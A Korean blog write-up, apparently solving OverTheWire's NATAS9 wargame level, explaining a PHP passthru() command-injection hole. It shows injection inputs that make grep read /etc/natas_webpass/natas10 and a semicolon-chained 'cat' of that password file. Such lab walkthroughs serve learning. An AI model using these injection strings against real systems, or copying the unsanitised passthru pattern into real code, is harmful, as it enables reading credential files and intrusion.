Information Security
[OverTheWire] NATAS9 본문
[OverTheWire] NATAS9
$key = $_REQUEST["needle"];
입력한 내용은 변수 key에 저장된다.
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
key가 비어 있지 않으면 외부 명령어를 실행하는 함수 passthru()를 실행한다.
The passthru() function is similar to the exec() function in that it executes a command
.
http://php.net/manual/en/function.passthru.php
grep -i $key dictionary.txt
grep [옵션] [찾을 문자열] [파일명]
우리가 입력한 내용은 [찾을 문자열]에 대입된다.
grep 명령어는 문자열을 검색할 때 정규 표현식을 사용할 수 있다.
그 중에서 ^은 행의 시작 지시자이다.
grep -i ^ dictionary.txt를 실행하면 dictionary.txt의 내용이 모두 출력된다.
우리는 /etc/natas_wepass/natas10 파일에 저장된 natas10의 패스워드를 알아내야 한다.
^ /etc/natas_webpass/natas10 을 입력하면
최종적으로 grep -i ^ /etc/natas_webpass/natas10 dictionary.txt가 실행되어 패스워드를 획득할 수 있다.
※ Command Injection
이 문제를 푼 후 다른 풀이 방법도 찾아보았다.
https://en.wikipedia.org/wiki/Code_injection#Shell_injection 참고
grep -i ; cat /etc/natas_webpass/natas10 dictionary.txt
세미 콜론(;)으로 grep 명령어를 끝내버리고 cat 명령어로 natas10의 파일을 확인하면 패스워드를 획득할 수 있다.
'Web Hacking > NATAS 풀이' 카테고리의 다른 글
[OverTheWire] NATAS11 (0) | 2018.01.08 |
---|---|
[OverTheWire] NATAS10 (0) | 2018.01.05 |
[OverTheWire] NATAS8 (0) | 2018.01.01 |
[OverTheWire] NATAS7 (0) | 2018.01.01 |
[OverTheWire] NATAS6 (0) | 2018.01.01 |